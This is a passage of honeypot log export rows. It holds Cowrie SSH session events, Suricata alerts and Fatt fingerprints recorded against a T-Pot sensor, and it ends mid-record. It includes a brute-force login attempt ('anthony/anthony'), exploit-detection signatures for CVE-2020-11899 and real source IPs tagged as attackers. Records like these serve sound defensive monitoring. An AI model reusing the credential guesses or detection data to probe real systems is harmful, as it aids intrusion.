24344	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:46.954811+03	2021-09-20 14:15:08.662501+03	{"_id": "mAbkAnwBvYTbRNuE5BMc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "48353ac59578", "@version": "1", "duration": 3.943869113922119, "timestamp": "2021-09-20T11:08:46.954811Z", "@timestamp": "2021-09-20T11:08:46.954Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
24345	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:08:47.13661+03	2021-09-20 14:15:08.6635+03	{"_id": "mQbkAnwBvYTbRNuE5BMc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "7c0494b9f2df", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:08:47.136610Z", "@timestamp": "2021-09-20T11:08:47.136Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24346	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:08:47.195027+03	2021-09-20 14:15:08.664501+03	{"_id": "mgbkAnwBvYTbRNuE5BMc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "7c0494b9f2df", "@version": "1", "timestamp": "2021-09-20T11:08:47.195027Z", "@timestamp": "2021-09-20T11:08:47.195Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24347	0000:0000:0000:0000:0000:0000:0000:0000	109.199.241.180	Suricata	2021-09-20 14:08:47.451477+03	2021-09-20 14:15:08.665509+03	{"_id": "mwbkAnwBvYTbRNuE5hNs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:08:47.451477+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 90}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "0000:0000:0000:0000:0000:0000:0000:0000", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 306557245973397, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:08:47.451477Z", "@timestamp": "2021-09-20T11:08:47.451Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
24348	178.128.20.19	109.199.241.180	Suricata	2021-09-20 14:08:47.552953+03	2021-09-20 14:15:08.6675+03	{"_id": "ngbkAnwBvYTbRNuE5hNt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:08:47.207145+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "178.128.20.19", "asn": 1241, "as_org": "Forthnet", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "178.128.20.19", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1666268729911593, "payload": "AAADzAYUwwiy6/ctDd7TocV0vupeMwAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 43410, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:08:47.552953Z", "@timestamp": "2021-09-20T11:08:47.552Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...........-\\r....t..^3...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
24349	0000:0000:0000:0000:0000:0000:0000:0000	109.199.241.180	Suricata	2021-09-20 14:08:47.438544+03	2021-09-20 14:15:08.668512+03	{"_id": "nwbkAnwBvYTbRNuE5hNt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:08:47.438544+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 78}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "0000:0000:0000:0000:0000:0000:0000:0000", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0001:ffdc:38af", "flow_id": 1423626700042512, "payload": "AAAAAP6AAAAAAAAA", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 135, "timestamp": "2021-09-20T11:08:47.438544Z", "@timestamp": "2021-09-20T11:08:47.438Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "............"}}	1	\N	\N	alert	\N	\N
24350	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:47.381261+03	2021-09-20 14:15:08.6695+03	{"_id": "pAbkAnwBvYTbRNuE5xNc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "178.128.20.19", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 43410, "timestamp": "2021-09-20T11:08:47.381261", "@timestamp": "2021-09-20T11:08:47.381Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24351	fe80:0000:0000:0000:c2ee:fbff:fedc:38af	109.199.241.180	Suricata	2021-09-20 14:08:48.433075+03	2021-09-20 14:15:08.67147+03	{"_id": "rwbkAnwBvYTbRNuE6hNV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:08:48.433075+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 70}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:c2ee:fbff:fedc:38af", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0002", "flow_id": 147445887572915, "payload": "AAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 133, "timestamp": "2021-09-20T11:08:48.433075Z", "@timestamp": "2021-09-20T11:08:48.433Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...."}}	1	\N	\N	alert	\N	\N
24358	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:48.921377+03	2021-09-20 14:15:08.680495+03	{"_id": "xQbkAnwBvYTbRNuE6xPh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "ce8d3dcf96c0", "@version": "1", "duration": 2.462796449661255, "timestamp": "2021-09-20T11:08:48.921377Z", "@timestamp": "2021-09-20T11:08:48.921Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
24352	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:49.035685+03	2021-09-20 14:15:08.67247+03	{"_id": "swbkAnwBvYTbRNuE6xNG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 43974, "timestamp": "2021-09-20T11:08:49.035685", "@timestamp": "2021-09-20T11:08:49.035Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24353	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:48.754655+03	2021-09-20 14:15:08.674473+03	{"_id": "uQbkAnwBvYTbRNuE6xPh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:43974 (192.168.176.2:22) [session: 92f2891da160]", "session": "92f2891da160", "@version": "1", "protocol": "ssh", "src_port": 43974, "dest_port": 22, "timestamp": "2021-09-20T11:08:48.754655Z", "@timestamp": "2021-09-20T11:08:48.754Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
24354	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:48.91456+03	2021-09-20 14:15:08.675473+03	{"_id": "ugbkAnwBvYTbRNuE6xPh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:35420 (192.168.176.2:22) [session: b09f9b09a3bd]", "session": "b09f9b09a3bd", "@version": "1", "protocol": "ssh", "src_port": 35420, "dest_port": 22, "timestamp": "2021-09-20T11:08:48.914560Z", "@timestamp": "2021-09-20T11:08:48.914Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
24355	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:08:48.772236+03	2021-09-20 14:15:08.676473+03	{"_id": "wgbkAnwBvYTbRNuE6xPh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [anthony/anthony] failed", "session": "5e14029ee594", "@version": "1", "password": "anthony", "username": "anthony", "timestamp": "2021-09-20T11:08:48.772236Z", "@timestamp": "2021-09-20T11:08:48.772Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
24356	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:48.84055+03	2021-09-20 14:15:08.67747+03	{"_id": "wwbkAnwBvYTbRNuE6xPh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "92f2891da160", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:08:48.840550Z", "@timestamp": "2021-09-20T11:08:48.840Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24357	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:48.911072+03	2021-09-20 14:15:08.67847+03	{"_id": "xAbkAnwBvYTbRNuE6xPh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "b36e621e2b21", "@version": "1", "duration": 2.460787296295166, "timestamp": "2021-09-20T11:08:48.911072Z", "@timestamp": "2021-09-20T11:08:48.911Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
24359	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:48.977994+03	2021-09-20 14:15:08.681506+03	{"_id": "xgbkAnwBvYTbRNuE6xPh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": 